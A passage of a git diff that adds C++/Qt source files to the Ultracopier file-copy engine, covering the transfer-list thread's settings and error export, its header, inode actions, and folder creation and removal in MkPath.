+ scanFileOrFolderThreadsPool.at(i)->setMoveTheWholeFolder(moveTheWholeFolder);
+ this->moveTheWholeFolder=moveTheWholeFolder;
+}
+
+void ListThread::setFollowTheStrictOrder(const bool &followTheStrictOrder)
+{
+ this->followTheStrictOrder=followTheStrictOrder;
+}
+
+void ListThread::setDeletePartiallyTransferredFiles(const bool &deletePartiallyTransferredFiles)
+{
+ this->deletePartiallyTransferredFiles=deletePartiallyTransferredFiles;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->setDeletePartiallyTransferredFiles(deletePartiallyTransferredFiles);
+ index++;
+ }
+}
+
+void ListThread::setInodeThreads(const int &inodeThreads)
+{
+ if(inodeThreads<1 || inodeThreads>32)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("inodeThreads is out of ranges: ")+QString::number(inodeThreads));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("inodeThreads: ")+QString::number(inodeThreads));
+ this->inodeThreads=inodeThreads;
+ createTransferThread();
+ deleteTransferThread();
+}
+
+void ListThread::setRenameTheOriginalDestination(const bool &renameTheOriginalDestination)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("renameTheOriginalDestination: ")+QString::number(renameTheOriginalDestination));
+ this->renameTheOriginalDestination=renameTheOriginalDestination;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->setRenameTheOriginalDestination(renameTheOriginalDestination);
+ index++;
+ }
+}
+
+void ListThread::setCheckDiskSpace(const bool &checkDiskSpace)
+{
+ this->checkDiskSpace=checkDiskSpace;
+}
+
+void ListThread::setCopyListOrder(const bool &order)
+{
+ this->copyListOrder=order;
+ for(int i=0;i<scanFileOrFolderThreadsPool.size();i++)
+ scanFileOrFolderThreadsPool.at(i)->setCopyListOrder(this->copyListOrder);
+}
+
+void ListThread::exportErrorIntoTransferList(const QString &fileName)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QFile transferFile(fileName);
+ if(transferFile.open(QIODevice::WriteOnly|QIODevice::Truncate))
+ {
+ transferFile.write(QStringLiteral("Ultracopier;Transfer-list;").toUtf8());
+ if(!forcedMode)
+ transferFile.write(QStringLiteral("Transfer;").toUtf8());
+ else
+ {
+ if(mode==Ultracopier::Copy)
+ transferFile.write(QStringLiteral("Copy;").toUtf8());
+ else
+ transferFile.write(QStringLiteral("Move;").toUtf8());
+ }
+ transferFile.write(QStringLiteral("Ultracopier\n").toUtf8());
+ bool haveError=false;
+ int size=errorLog.size();
+ for (int index=0;index<size;++index) {
+ if(errorLog.at(index).mode==Ultracopier::Copy)
+ {
+ if(!forcedMode || mode==Ultracopier::Copy)
+ {
+ if(forcedMode)
+ transferFile.write(QStringLiteral("%1;%2\n").arg(errorLog.at(index).source.absoluteFilePath()).arg(errorLog.at(index).destination.absoluteFilePath()).toUtf8());
+ else
+ transferFile.write(QStringLiteral("Copy;%1;%2\n").arg(errorLog.at(index).source.absoluteFilePath()).arg(errorLog.at(index).destination.absoluteFilePath()).toUtf8());
+ }
+ else
+ haveError=true;
+ }
+ else if(errorLog.at(index).mode==Ultracopier::Move)
+ {
+ if(!forcedMode || mode==Ultracopier::Move)
+ {
+ if(forcedMode)
+ transferFile.write(QStringLiteral("%1;%2\n").arg(errorLog.at(index).source.absoluteFilePath()).arg(errorLog.at(index).destination.absoluteFilePath()).toUtf8());
+ else
+ transferFile.write(QStringLiteral("Move;%1;%2\n").arg(errorLog.at(index).source.absoluteFilePath()).arg(errorLog.at(index).destination.absoluteFilePath()).toUtf8());
+ }
+ else
+ haveError=true;
+ }
+ }
+ if(haveError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Unable do to move or copy item into wrong forced mode: %1").arg(transferFile.errorString()));
+ emit errorTransferList(tr("Unable do to move or copy item into wrong forced mode: %1").arg(transferFile.errorString()));
+ }
+ transferFile.close();
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Unable to save the transfer list: %1").arg(transferFile.errorString()));
+ emit errorTransferList(tr("Unable to save the transfer list: %1").arg(transferFile.errorString()));
+ return;
+ }
+}
diff --git a/plugins/CopyEngine/Ultracopier/ListThread.h b/plugins/CopyEngine/Ultracopier/ListThread.h
new file mode 100644
index 0000000..a778604
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/ListThread.h
@@ -0,0 +1,431 @@
+/** \file ListThread.h
+\brief Define the list thread, and management to the action to do
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef LISTTHREAD_H
+#define LISTTHREAD_H
+
+#include <QThread>
+#include <QObject>
+#include <QList>
+#include <QStringList>
+#include <QFileInfo>
+#include <QSemaphore>
+#include <QTextStream>
+#include <QFile>
+#include <QTimer>
+
+#include "../../../interface/PluginInterface_CopyEngine.h"
+#include "ScanFileOrFolder.h"
+#include "TransferThread.h"
+#include "MkPath.h"
+#include "Environment.h"
+#include "DriveManagement.h"
+
+/// \brief Define the list thread, and management to the action to do
+class ListThread : public QThread
+{
+ Q_OBJECT
+public:
+ explicit ListThread(FacilityInterface * facilityInterface);
+ ~ListThread();
+
+ //duplication copy detection
+ /** \brief compare the current sources of the copy, with the passed arguments
+ * \param sources the sources list to compares with the current sources list
+ * \return true if have same sources, else false (or empty) */
+ bool haveSameSource(const QStringList &sources);
+ /** \brief compare the current destination of the copy, with the passed arguments
+ * \param destination the destination to compares with the current destination
+ * \return true if have same destination, else false (or empty) */
+ bool haveSameDestination(const QString &destination);
+ /// \return empty if multiple or no destination
+ QString getUniqueDestinationFolder() const;
+ //external soft like file browser have send copy/move list to do
+ /** \brief send copy with destination
+ * \param sources the sources list to copy
+ * \param destination the destination to copy
+ * \return true if the copy have been accepted */
+ bool newCopy(const QStringList &sources,const QString &destination);
+ /** \brief send move without destination, ask the destination
+ * \param sources the sources list to move
+ * \param destination the destination to move
+ * \return true if the move have been accepted */
+ bool newMove(const QStringList &sources,const QString &destination);
+ /** \brief to set drives detected
+ * specific to this copy engine */
+ /// \brief to set the collision action
+ void setCollisionAction(const FileExistsAction &alwaysDoThisActionForFileExists);
+ /** \brief to sync the transfer list
+ * Used when the interface is changed, useful to minimize the memory size */
+ void syncTransferList();
+ /// \brief to store one action to do
+ struct ActionToDoTransfer
+ {
+ quint64 id;
+ qint64 size;///< Used to set: used in case of transfer or remainingInode for drop folder
+ QFileInfo source;///< Used to set: source for transfer, folder to create, folder to drop
+ QFileInfo destination;
+ Ultracopier::CopyMode mode;
+ bool isRunning;///< store if the action si running
+ //TransferThread * transfer; // -> see transferThreadList
+ };
+ QList<ActionToDoTransfer> actionToDoListTransfer;
+ /// \brief to store one action to do
+ struct ActionToDoInode
+ {
+ ActionType type;///< \see ActionType
+ quint64 id;
+ qint64 size;///< Used to set: used in case of transfer or remainingInode for drop folder
+ QFileInfo source;///< Keep to copy the right/date, to remove (for move)
+ QFileInfo destination;///< Used to set: folder to create, folder to drop
+ bool isRunning;///< store if the action si running
+ };
+ QList<ActionToDoInode> actionToDoListInode;
+ QList<ActionToDoInode> actionToDoListInode_afterTheTransfer;
+ int numberOfInodeOperation;
+ struct ErrorLogEntry
+ {
+ QFileInfo source;
+ QFileInfo destination;
+ QString error;
+ Ultracopier::CopyMode mode;
+ };
+ QList<ErrorLogEntry> errorLog;
+ //dir operation thread queue
+ MkPath mkPathQueue;
+ //to get the return value from copyEngine
+ bool getReturnBoolToCopyEngine() const;
+ QPair<quint64,quint64> getReturnPairQuint64ToCopyEngine() const;
+ Ultracopier::ItemOfCopyList getReturnItemOfCopyListToCopyEngine() const;
+
+ void set_doChecksum(bool doChecksum);
+ void set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible);
+ void set_checksumOnlyOnError(bool checksumOnlyOnError);
+ void set_osBuffer(bool osBuffer);
+ void set_osBufferLimited(bool osBufferLimited);
+ void autoStartIfNeeded();
+public slots:
+ //action on the copy
+ /// \brief put the transfer in pause
+ void pause();
+ /// \brief resume the transfer
+ void resume();
+ /** \brief skip one transfer entry
+ * \param id id of the file to remove */
+ void skip(const quint64 &id);
+ /** \brief skip as interanl one transfer entry
+ * \param id id of the file to remove */
+ bool skipInternal(const quint64 &id);
+ /// \brief cancel all the transfer
+ void cancel();
+ //edit the transfer list
+ /** \brief remove the selected item
+ * \param ids ids is the id list of the selected items */
+ void removeItems(const QList<int> &ids);
+ /** \brief move on top of the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsOnTop(QList<int> ids);
+ /** \brief move up the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsUp(QList<int> ids);
+ /** \brief move down the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsDown(QList<int> ids);
+ /** \brief move on bottom of the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsOnBottom(QList<int> ids);
+
+ /** \brief give the forced mode, to export/import transfer list */
+ void forceMode(const Ultracopier::CopyMode &mode);
+ /// \brief export the transfer list into a file
+ void exportTransferList(const QString &fileName);
+ /// \brief import the transfer list into a file
+ void importTransferList(const QString &fileName);
+
+ /// \brief set the folder local collision
+ void setFolderCollision(const FolderExistsAction &alwaysDoThisActionForFolderExists);
+ /** \brief to set the speed limitation
+ * -1 if not able, 0 if disabled */
+ bool setSpeedLimitation(const qint64 &speedLimitation);
+ /// \brief set the copy info and options before runing
+ void setRightTransfer(const bool doRightTransfer);
+ /// \brief set keep date
+ void setKeepDate(const bool keepDate);
+ /// \brief set block size in KB
+ void setBlockSize(const int blockSize);
+ /// \brief set auto start
+ void setAutoStart(const bool autoStart);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ /// \brief set rsync
+ void setRsync(const bool rsync);
+ #endif
+ /// \brief set check destination folder
+ void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
+ /// \brief set data local to the thread
+ void setAlwaysFileExistsAction(const FileExistsAction &alwaysDoThisActionForFileExists);
+ /// \brief do new actions, start transfer
+ void doNewActions_start_transfer();
+ /** \brief lunch the pre-op or inode op
+ 1) locate the next next item to do into the both list
+ 1a) optimisation posible on the mkpath/rmpath
+ 2) determine what need be lunched
+ 3) lunch it, rerun the 2)
+ */
+ void doNewActions_inode_manipulation();
+ /// \brief restart transfer if it can
+ void restartTransferIfItCan();
+ void getNeedPutAtBottom(const QFileInfo &fileInfo, const QString &errorString, TransferThread *thread,const ErrorType &errorType);
+
+ /// \brief update the transfer stat
+ void newTransferStat(const TransferStat &stat,const quint64 &id);
+
+ void set_osBufferLimit(const unsigned int &osBufferLimit);
+ void set_setFilters(const QList<Filters_rules> &include,const QList<Filters_rules> &exclude);
+ void set_sendNewRenamingRules(const QString &firstRenamingRule,const QString &otherRenamingRule);
+ void set_updateMount();
+
+ //send action done
+ void sendActionDone();
+ //send progression
+ void sendProgression();
+
+ void setTransferAlgorithm(const TransferAlgorithm &transferAlgorithm);
+ void setParallelBuffer(int parallelBuffer);
+ void setSequentialBuffer(int sequentialBuffer);
+ void setParallelizeIfSmallerThan(const unsigned int &parallelizeIfSmallerThan);
+ void setMoveTheWholeFolder(const bool &moveTheWholeFolder);
+ void setFollowTheStrictOrder(const bool &followTheStrictOrder);
+ void setDeletePartiallyTransferredFiles(const bool &deletePartiallyTransferredFiles);
+ void setInodeThreads(const int &inodeThreads);
+ void setRenameTheOriginalDestination(const bool &renameTheOriginalDestination);
+ void setCheckDiskSpace(const bool &checkDiskSpace);
+ void setCopyListOrder(const bool &order);
+ void exportErrorIntoTransferList(const QString &fileName);
+private:
+ QSemaphore mkpathTransfer;
+ QString sourceDrive;
+ bool sourceDriveMultiple;
+ QString destinationDrive;
+ QString destinationFolder;
+ bool destinationDriveMultiple;
+ bool destinationFolderMultiple;
+ DriveManagement driveManagement;
+
+ bool stopIt;
+ QList<ScanFileOrFolder *> scanFileOrFolderThreadsPool;
+ int numberOfTransferIntoToDoList;
+ QList<TransferThread *> transferThreadList;
+ ScanFileOrFolder * newScanThread(Ultracopier::CopyMode mode);
+ quint64 bytesToTransfer;
+ quint64 bytesTransfered;
+ bool autoStart;
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ bool rsync;
+ #endif
+ bool putInPause;
+ QList<Ultracopier::ReturnActionOnCopyList> actionDone;///< to action to send to the interface
+ quint64 idIncrementNumber;///< to store the last id returned
+ qint64 actualRealByteTransfered;
+ int maxSpeed;///< in KB/s, assume as 0KB/s as default like every where
+ FolderExistsAction alwaysDoThisActionForFolderExists;
+ bool checkDestinationFolderExists;
+ bool doChecksum;
+ bool checksumIgnoreIfImpossible;
+ bool checksumOnlyOnError;
+ bool osBuffer;
+ bool osBufferLimited;
+ unsigned int parallelizeIfSmallerThan;
+ bool moveTheWholeFolder;
+ bool followTheStrictOrder;
+ bool deletePartiallyTransferredFiles;
+ int sequentialBuffer;
+ int parallelBuffer;
+ int inodeThreads;
+ bool renameTheOriginalDestination;
+ bool checkDiskSpace;
+ bool copyListOrder;
+ QHash<QString,quint64> requiredSpace;
+ QList<QPair<quint64,quint32> > timeToTransfer;
+ unsigned int putAtBottom;
+ unsigned int osBufferLimit;
+ QList<Filters_rules> include,exclude;
+ Ultracopier::CopyMode mode;
+ bool forcedMode;
+ QString firstRenamingRule;
+ QString otherRenamingRule;
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ int multiForBigSpeed;
+ #endif
+ /* here to prevent:
+ QObject::killTimer: timers cannot be stopped from another thread
+ QObject::startTimer: timers cannot be started from another thread */
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ QTimer *clockForTheCopySpeed; ///< For the speed throttling
+ #endif
+
+ inline static Ultracopier::ItemOfCopyList actionToDoTransferToItemOfCopyList(const ActionToDoTransfer &actionToDoTransfer);
+ //add file transfer to do
+ quint64 addToTransfer(const QFileInfo& source,const QFileInfo& destination,const Ultracopier::CopyMode& mode);
+ //generate id number
+ quint64 generateIdNumber();
+ //warning the first entry is accessible will copy
+ bool removeSingleItem(const quint64 &id);
+ //put on top
+ bool moveOnTopItem(const quint64 &id);
+ //move up
+ bool moveUpItem(const quint64 &id);
+ //move down
+ bool moveDownItem(const quint64 &id);
+ //put on bottom
+ bool moveOnBottomItem(const quint64 &id);
+ //general transfer
+ void startGeneralTransfer();
+ //debug windows if needed
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ QTimer timerUpdateDebugDialog;
+ #endif
+ void detectDrivesOfCurrentTransfer(const QStringList &sources,const QString &destination);
+ FacilityInterface * facilityInterface;
+ QSemaphore waitConstructor,waitCancel;
+ int actionToDoListTransfer_count,actionToDoListInode_count;
+ bool doTransfer,doInode;
+ qint64 oversize;//used as temp variable
+ qint64 currentProgression;
+ qint64 copiedSize,totalSize,localOverSize;
+ QList<Ultracopier::ProgressionItem> progressionList;
+ //memory variable for transfer thread creation
+ bool doRightTransfer;
+ bool keepDate;
+ int blockSize;//in Bytes
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ int blockSizeAfterSpeedLimitation;//in Bytes
+ #endif
+ QStringList drives;
+ FileExistsAction alwaysDoThisActionForFileExists;
+ //to return value to the copyEngine
+ bool returnBoolToCopyEngine;
+ QPair<quint64,quint64> returnPairQuint64ToCopyEngine;
+ QList<Ultracopier::ItemOfCopyList> returnListItemOfCopyListToCopyEngine;
+ Ultracopier::ItemOfCopyList returnItemOfCopyListToCopyEngine;
+ Ultracopier::ProgressionItem tempItem;
+
+ void realByteTransfered();
+ int getNumberOfTranferRuning() const;
+ bool needMoreSpace() const;
+private slots:
+ void scanThreadHaveFinishSlot();
+ void scanThreadHaveFinish(bool skipFirstRemove=false);
+ void autoStartAndCheckSpace();
+ void updateTheStatus();
+ void fileTransfer(const QFileInfo &sourceFileInfo,const QFileInfo &destinationFileInfo,const Ultracopier::CopyMode &mode);
+ //mkpath event
+ void mkPathFirstFolderFinish();
+ /** \brief put the current file at bottom in case of error
+ \note ONLY IN CASE OF ERROR */
+ void transferPutAtBottom();
+ //transfer is finished
+ void transferInodeIsClosed();
+ //debug windows if needed
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ void timedUpdateDebugDialog();
+ #endif
+ //dialog message
+ /// \note Can be call without queue because all call will be serialized
+ void fileAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame);
+ /// \note Can be call without queue because all call will be serialized
+ void errorOnFile(const QFileInfo &fileInfo,const QString &errorString, const ErrorType &errorType);
+ /// \note Can be call without queue because all call will be serialized
+ void folderAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame);
+ /// \note Can be call without queue because all call will be serialized
+ void errorOnFolder(const QFileInfo &fileInfo, const QString &errorString, const ErrorType &errorType);
+ //to run the thread
+ void run();
+ /// \to create transfer thread
+ void createTransferThread();
+ void deleteTransferThread();
+ //mk path to do
+ quint64 addToMkPath(const QFileInfo& source, const QFileInfo& destination, const int &inode);
+ //add rm path to do
+ void addToMovePath(const QFileInfo& source,const QFileInfo& destination, const int& inodeToRemove);
+ //add to real move
+ void addToRealMove(const QFileInfo& source,const QFileInfo& destination);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ //rsync rm
+ void addToRmForRsync(const QFileInfo& destination);
+ #endif
+ //send the progression, after full reset of the interface (then all is empty)
+ void syncTransferList_internal();
+
+ void checkIfReadyToCancel();
+signals:
+ //send information about the copy
+ void actionInProgess(const Ultracopier::EngineActionInProgress &) const; //should update interface information on this event
+
+ void newActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &) const;///very important, need be temporized to group the modification to do and not flood the interface
+ void syncReady() const;
+ void doneTime(const QList<QPair<quint64,quint32> >&) const;
+
+ /** \brief to get the progression for a specific file
+ * \param id the id of the transfer, id send during population the transfer list
+ * first = current transfered byte, second = byte to transfer */
+ void pushFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList) const;
+ //get information about the copy
+ /** \brief to get the general progression
+ * first = current transfered byte, second = byte to transfer */
+ void pushGeneralProgression(const quint64 &,const quint64 &) const;
+
+ void newFolderListing(const QString &path) const;
+ void isInPause(const bool &) const;
+
+ //when can be deleted
+ void canBeDeleted() const;
+ void haveNeedPutAtBottom(bool needPutAtBottom,const QFileInfo &fileInfo,const QString &errorString,TransferThread * thread,const ErrorType &errorType) const;
+
+ //send error occurred
+ void error(const QString &path,const quint64 &size,const QDateTime &mtime,const QString &error) const;
+ void errorToRetry(const QString &source,const QString &destination,const QString &error) const;
+ //for the extra logging
+ void rmPath(const QString &path) const;
+ void mkPath(const QString &path) const;
+ /// \brief To debug source
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
+ #endif
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ void updateTheDebugInfo(const QStringList &,const QStringList&,const int &) const;
+ #endif
+
+ //other signal
+ /// \note Can be call without queue because all call will be serialized
+ void send_fileAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame,TransferThread * thread) const;
+ /// \note Can be call without queue because all call will be serialized
+ void send_errorOnFile(const QFileInfo &fileInfo,const QString &errorString,TransferThread * thread, const ErrorType &errorType) const;
+ /// \note Can be call without queue because all call will be serialized
+ void send_folderAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame,ScanFileOrFolder * thread) const;
+ /// \note Can be call without queue because all call will be serialized
+ void send_errorOnFolder(const QFileInfo &fileInfo,const QString &errorString,ScanFileOrFolder * thread, const ErrorType &errorType) const;
+ //send the progression
+ void send_syncTransferList() const;
+ //mkpath error event
+ void mkPathErrorOnFolder(const QFileInfo &fileInfo,const QString &errorString,const ErrorType &errorType) const;
+ //to close
+ void tryCancel() const;
+ //to ask new transfer thread
+ void askNewTransferThread() const;
+
+ void warningTransferList(const QString &warning) const;
+ void errorTransferList(const QString &error) const;
+ void send_sendNewRenamingRules(const QString &firstRenamingRule,const QString &otherRenamingRule) const;
+ void send_realBytesTransfered(const quint64 &) const;
+
+ void send_setTransferAlgorithm(TransferAlgorithm transferAlgorithm) const;
+ void send_parallelBuffer(const int &parallelBuffer) const;
+ void send_sequentialBuffer(const int &sequentialBuffer) const;
+ void send_parallelizeIfSmallerThan(const int &parallelizeIfSmallerThan) const;
+ void send_updateMount();
+ void missingDiskSpace(QList<Diskspace> list) const;
+};
+
+#endif // LISTTHREAD_H
diff --git a/plugins/CopyEngine/Ultracopier/ListThread_InodeAction.cpp b/plugins/CopyEngine/Ultracopier/ListThread_InodeAction.cpp
new file mode 100644
index 0000000..b47fbdf
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/ListThread_InodeAction.cpp
@@ -0,0 +1,64 @@
+/** \file ListThread_InodeAction.cpp
+\brief To be included into ListThread.cpp, to optimize and prevent code duplication
+\see ListThread.cpp */
+
+#ifdef LISTTHREAD_H
+
+//do the inode action
+ActionToDoInode& currentActionToDoInode=actionToDoListInode[int_for_internal_loop];
+switch(currentActionToDoInode.type)
+{
+ case ActionType_RealMove:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("launch real move, source: %1, destination: %2").arg(currentActionToDoInode.source.absoluteFilePath()).arg(currentActionToDoInode.destination.absoluteFilePath()));
+ mkPathQueue.addPath(currentActionToDoInode.source.absoluteFilePath(),currentActionToDoInode.destination.absoluteFilePath(),currentActionToDoInode.type);
+ currentActionToDoInode.isRunning=true;
+ numberOfInodeOperation++;
+ if(numberOfInodeOperation>=inodeThreads)
+ return;
+ break;
+ case ActionType_MkPath:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("launch mkpath, source: %1, destination: %2").arg(currentActionToDoInode.source.absoluteFilePath()).arg(currentActionToDoInode.destination.absoluteFilePath()));
+ mkPathQueue.addPath(currentActionToDoInode.source.absoluteFilePath(),currentActionToDoInode.destination.absoluteFilePath(),currentActionToDoInode.type);
+ currentActionToDoInode.isRunning=true;
+ numberOfInodeOperation++;
+ if(numberOfInodeOperation>=inodeThreads)
+ return;
+ break;
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ case ActionType_RmSync:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QString("launch rmsync, destination: %1").arg(currentActionToDoInode.destination.absoluteFilePath()));
+ mkPathQueue.addPath(currentActionToDoInode.destination.absoluteFilePath(),currentActionToDoInode.destination.absoluteFilePath(),currentActionToDoInode.type);
+ currentActionToDoInode.isRunning=true;
+ numberOfInodeOperation++;
+ if(numberOfInodeOperation>=inodeThreads)
+ return;
+ break;
+ #endif
+ case ActionType_MovePath:
+ //then empty (no file), can try remove it
+ if(currentActionToDoInode.size==0 || actionToDoListTransfer.isEmpty())//don't put afterTheTransfer because actionToDoListInode_afterTheTransfer -> already afterTheTransfer
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("launch rmpath: %1").arg(currentActionToDoInode.source.absoluteFilePath()));
+ mkPathQueue.addPath(currentActionToDoInode.source.absoluteFilePath(),currentActionToDoInode.destination.absoluteFilePath(),currentActionToDoInode.type);
+ currentActionToDoInode.isRunning=true;
+ numberOfInodeOperation++;
+ if(numberOfInodeOperation>=inodeThreads)
+ return;
+ }
+ else //have do the destination, put the remove to after
+ {
+ currentActionToDoInode.size=0;
+ actionToDoListInode_afterTheTransfer << currentActionToDoInode;
+ actionToDoListInode.removeAt(int_for_internal_loop);
+ int_for_internal_loop--;
+ actionToDoListInode_count--;
+ if(numberOfInodeOperation>=inodeThreads)
+ return;
+ }
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Wrong type at inode action"));
+ return;
+}
+
+#endif
diff --git a/plugins/CopyEngine/Ultracopier/MkPath.cpp b/plugins/CopyEngine/Ultracopier/MkPath.cpp
new file mode 100644
index 0000000..15c423f
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/MkPath.cpp
@@ -0,0 +1,516 @@
+#include "MkPath.h"
+
+#ifdef Q_OS_WIN32
+ #ifndef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
+ #endif
+#endif
+
+QString MkPath::text_slash=QLatin1Literal("/");
+
+MkPath::MkPath()
+{
+ stopIt=false;
+ waitAction=false;
+ doRightTransfer=false;
+ maxTime=QDateTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
+ setObjectName("MkPath");
+ moveToThread(this);
+ start();
+ #ifdef Q_OS_WIN32
+ #ifndef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ regRead=QRegularExpression(QStringLiteral("^[a-z]:"));
+ #endif
+ #endif
+}
+
+MkPath::~MkPath()
+{
+ stopIt=true;
+ quit();
+ wait();
+}
+
+void MkPath::addPath(const QFileInfo& source, const QFileInfo& destination, const ActionType &actionType)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("source: %1, destination: %2").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()));
+ if(stopIt)
+ return;
+ emit internalStartAddPath(source,destination,actionType);
+}
+
+void MkPath::skip()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit internalStartSkip();
+}
+
+void MkPath::retry()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit internalStartRetry();
+}
+
+void MkPath::run()
+{
+ connect(this,&MkPath::internalStartAddPath, this,&MkPath::internalAddPath,Qt::QueuedConnection);
+ connect(this,&MkPath::internalStartDoThisPath, this,&MkPath::internalDoThisPath,Qt::QueuedConnection);
+ connect(this,&MkPath::internalStartSkip, this,&MkPath::internalSkip,Qt::QueuedConnection);
+ connect(this,&MkPath::internalStartRetry, this,&MkPath::internalRetry,Qt::QueuedConnection);
+ exec();
+}
+
+void MkPath::internalDoThisPath()
+{
+ if(waitAction || pathList.isEmpty())
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("source: %1, destination: %2, move: %3").arg(pathList.first().source.absoluteFilePath()).arg(pathList.first().destination.absoluteFilePath()).arg(pathList.first().actionType));
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ if(pathList.first().actionType==ActionType_RmSync)
+ {
+ if(pathList.first().destination.isFile())
+ {
+ QFile removedFile(pathList.first().destination.absoluteFilePath());
+ if(!removedFile.remove())
+ {
+ if(stopIt)
+ return;
+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to remove the inode: "+pathList.first().destination.absoluteFilePath()+", error: "+removedFile.errorString());
+ emit errorOnFolder(pathList.first().destination,removedFile.errorString());
+ return;
+ }
+ }
+ else if(!rmpath(pathList.first().destination.absoluteFilePath()))
+ {
+ if(stopIt)
+ return;
+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to remove the inode: "+pathList.first().destination.absoluteFilePath());
+ emit errorOnFolder(pathList.first().destination,tr("Unable to remove"));
+ return;
+ }
+ pathList.removeFirst();
+ emit firstFolderFinish();
+ checkIfCanDoTheNext();
+ return;
+ }
+ #endif
+ doTheDateTransfer=false;
+ if(keepDate)
+ {
+ if(!pathList.first().source.exists())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"the sources not exists: "+pathList.first().source.absoluteFilePath());
+ doTheDateTransfer=false;
+ }
+ else if(maxTime>=pathList.first().source.lastModified())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"the sources is older to copy the time: "+pathList.first().source.absoluteFilePath()+": "+maxTime.toString("dd.MM.yyyy hh:mm:ss.zzz")+">="+pathList.first().source.lastModified().toString("dd.MM.yyyy hh:mm:ss.zzz"));
+ doTheDateTransfer=false;
+ }
+ else
+ {
+ doTheDateTransfer=readFileDateTime(pathList.first().source);
+ /*if(!doTheDateTransfer)
+ {
+ if(stopIt)
+ return;
+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to get source folder time: "+pathList.first().source.absoluteFilePath());
+ emit errorOnFolder(pathList.first().source,tr("Unable to get time"));
+ return;
+ }*/
+ }
+ }
+ if(dir.exists(pathList.first().destination.absoluteFilePath()) && pathList.first().actionType==ActionType_RealMove)
+ pathList.first().actionType=ActionType_MovePath;
+ if(pathList.first().actionType!=ActionType_RealMove)
+ {
+ if(!dir.exists(pathList.first().destination.absoluteFilePath()))
+ if(!dir.mkpath(pathList.first().destination.absoluteFilePath()))
+ {
+ if(!dir.exists(pathList.first().destination.absoluteFilePath()))
+ {
+ if(stopIt)
+ return;
+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to make the folder: "+pathList.first().destination.absoluteFilePath());
+ emit errorOnFolder(pathList.first().destination,tr("Unable to create the folder"));
+ return;
+ }
+ }
+ }
+ else
+ {
+ if(!pathList.first().source.exists())
+ {
+ if(stopIt)
+ return;
